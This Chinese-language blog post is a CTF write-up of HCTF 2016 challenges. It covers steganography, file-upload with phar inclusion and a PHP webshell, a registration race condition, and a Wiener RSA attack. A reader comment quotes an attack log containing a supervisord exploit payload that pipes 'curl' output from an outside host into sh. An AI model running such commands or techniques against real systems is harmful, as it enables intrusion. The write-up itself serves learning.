2016年11月25日晚上8点,hctf悄无声息的开始。8点前躺在被窝里看美人为馅,我的队友th1s来叫我去三教405打ctf,可能是因为有点小发烧的缘故,不太想动,于是就没去,起身在三个很gay的室友的嬉闹声中开始了这次的hctf。

MISC

1、misc签到题:你竟然背着我干……

misc的签到题是一道流量分析题,开始先给了一个+_+.pcapng,使用wireshark打开这个流量包,先看了看有几个http请求,没什么卵用,然后追踪TCP流,发现下图内容:%e6%96%b0%e5%bb%ba%e4%bd%8d%e5%9b%be%e5%9b%be%e5%83%8f

发现是一个AES算法,然后在下面又找到了加密后的flag:

%e6%96%b0%e5%bb%ba%e4%bd%8d%e5%9b%be%e5%9b%be%e5%83%8f

把密文放到那个加密算法中一跑,flag就出来了,hctf{n0w_U_w111_n0t_f1nd_me}

2、pic again

听名字就是一道图片隐写的题目,首先下载图片,使用stegsolve打开,提取rgb的最低的一个通道的内容,会发现是一个zip压缩包:

%e6%96%b0%e5%bb%ba%e4%bd%8d%e5%9b%be%e5%9b%be%e5%83%8f

提取出来以后打开发现了里面有个1的文件,解压后使用winhex打开发现时ELF文件,在linux下运行或者使用IDA打开都能得到flag:hctf{dd0gf4c3tok3yb0ard4g41n~~~}

3、gogogo

这个题就比较有意思了,是一个魂斗罗游戏,由于查到去年的hctf也是有一道这种题目,发现只要玩通关就能得到flag,在工作室的小伙伴的不(开)屑(作)努(弊)力(器)下,终于玩通关并且拿到了flag

qq%e5%9b%be%e7%89%8720161129164330

4、48小时如何快速精通C++

这道题目真的是及其的恶心,我完全静下心,一步一步的梳理,花了2个小时搞懂了其中的流程,10分钟写完解体python,1秒不到就解出了flag,真的是服气。不过也得知了这种template模板+enum的编程方法,这种程序会在编译的时候消耗大量的时间,但是运行起来就会变的很快。

详情见这篇文章 c++模板元编程二:用enum做数值计算。这道题还不知道有什么捷径,反正我是一步一步的推出来的(浪费了大量的纸233)下面是能解出flag的脚本

Web

1、2099年的flag

这是web的签到题,提示是 only ios99 can get flag(Maybe you can easily get the flag in 2099
那就很简单了,将UA改为ios的,UA中的版本改为99
然后就是改变时间,直接用服务器返回的数据包的Date字段,把时间改为2099就ok了

2、encore time

主办方说是送分题,打开看了下就是一个调查,Google forms的界面,md的风格,真的很棒(๑•̀ㅂ•́)و✧

3、RESTFUL

题目描述:博丽神社赛钱箱
一看就是二次元死宅出的题,进去有个提示是这样的
“Please me some more than <12450>!”
再加上题目是restful,看了这篇文章后就什么都懂了restful api
payload

4、giligili

这个题目不是我做的,th1s做的,看了以后发现很需要耐心去推导,感觉有点像c++拿到题,th1s Writeup

5、兵者多诡

题目描述:请尽可能发现更多,不要放过你所看到的
点进去发现是一个文件上传,然后测试发现只要将content type改为image/png可以实现任意文件上传
upload

然后发现上传上去的文件路径http://pics.hctf.io/uploads/xxxxxxxx
做到这里就没什么思路了,这时候我的队友来告诉我有个参数我忽略了,于是发现了fp这个参数
fp
经过测试发现这个fp参数存在文件包含的漏洞,即传入upload会包含upload.php,这样就好办了很多,思路就是我们上传文件,用这个文件包含去解析他,由于上传文件的后缀名都被改为了.png所以只能用phar协议了
首先建立一个一句话木马的文件—1.php

将其压缩成1.zip上传上去,使用phar协议去打开1.zip中的1.php
upload后
然后用菜刀连接或者手动ls都行,会发现有一个藏有flag的文件

6、必须比香港记者还要快

这道题是我和th1s吃饭的时候讨论出来的,回去一试果然可以。(回去和一个没打过ctf的室友讲了这个题,被说很简单就想出来了,冷漠脸)
首先是th1s扫出来了一个README.md

然后我们吃饭的时候就开始分析这个东西,发现了一些东西

  1. 注册功能刚写出来的时候是注册后直接有管理员权限的
    1. 后来通过加了一句话将管理员权限去掉的
    2. session中的level是从数据库中都出来的,读出后放到session中

主要的思路就是,要在降权的那句话执行前登录。
使用burp一直跑登录包,然后另一边点注册,这个时候就会有一个或者几个包再没执行降权语句前登录进去,就能看到flag了,这个burp暴力的时候最好开到30线程以上。
果然是要比香港记者跑的快啊(出题人药丸)。

7、guestbook

这个题不是我做的,我只做到了前面的xss的那一步,后面的带cookie跳转是我的队友写的,下面会有他的wp的链接。

8、AT field1

这个题目也不是我做的(web技术还差很多)>_<

Crypto

1、Crypto So Interesting

这次只做了这一道crypto题目,是rsa,被一个小转换坑了好久
首先打开题目就看到了程序的py源码,先看验证码部分

这就是个普通的运算能力验证码
过去了这个验证码后,输入队伍token,然后等待很久很久,会有n,e,enc_flag返回。(不得不吐槽了,服务器慢的一b,问了管理员说服务器差点被这个题搞垮,出题人可以拖出去xx了)
然后我们来看他的获取公私钥对的代码

刚开始看的时候很迷,先尝试了一下wiener攻击,发现失败了,于是乎仔细看了看他的代码,发现先是生成了一个u和t这个公私钥对,然后通过pi_b这个函数由t生成了一个模bt的逆元e,然后由e生成d,将e和d作为最后的公私钥对。
看到这我就很不明白了,不懂为了什么要先生成一个u,t,然后由t去生成e。不过没想这么多先去求了下t,然后wiener攻击了下居然求出了u。由于用的wiener攻击只给出了u没有给出phi_n。所以我又去看了一篇文章—萌萌哒弱受RSA和强攻wiener,看完之后去看了下wiener的源码,发现给出了k,由于

所以求出了phi_n,这样一切就迎刃而解,用e求出d,解出了flag!

RE

不会,只会最简单的找字符串,看别人的wp吧

相关链接

  1. th1s的Writeup: http://www.th1s.cn/index.php/2016/11/29/43.html
  2.  flappypig的Writeup: http://bobao.360.cn/ctf/detail/179.html
  3.  xiaoxi的Writeup: http://momomoxiaoxi.com/2016/11/29/HCTF2016/
  4.  hctf2016所有题目github:https://github.com/hduisa/HCTF2016
  5.  pav1的hctf2016 github: https://github.com/paulinsider/HCTF-2016

 

3 comments
  • pav2 • Post Author •
    2017年3月22日 at 下午1:14 Reply
  • cdxy
    2017年10月25日 at 上午11:58

    兄弟,你的supervisord被别人搞了。
    {“uri”:”/RPC2″,”method”:”POST”,”referer”:” “,”user_agent”:”xmlrpclib.py/1.0.1 (by http://www.pythonware.com)”,”cookie”:”{}”,”post_data”:”\u0002\u0002supervisor.supervisord.options.warnings.linecache.os.system\u0002\u0002\u0002curl -L http://letsweb.000webhostapp.com/lin.txt | sh \u0002\u0002\u0002\u0002″,”xff”:” “,”content_type”:”text/xml”,”main_command”:”curl”,”cmdline”:”sh -c curl -L http://letsweb.000webhostapp.com/lin.txt | sh “,”username”:”N/A”,”pfilepath”:”/usr/local/bin/python2.7″}

    Reply
    • root
      2017年10月31日 at 下午2:37

      谢啦兄弟 这个supervisord是我开发的一个漏洞验证平台的一台实验环境虚拟机,部署上去就是存在supervisord的远程命令执行漏洞的。 目的是为了练习使用,既然被人乱搞我还是加个权限控制吧。

      Reply

Leave a Comment

电子邮件地址不会被公开。 必填项已用*标注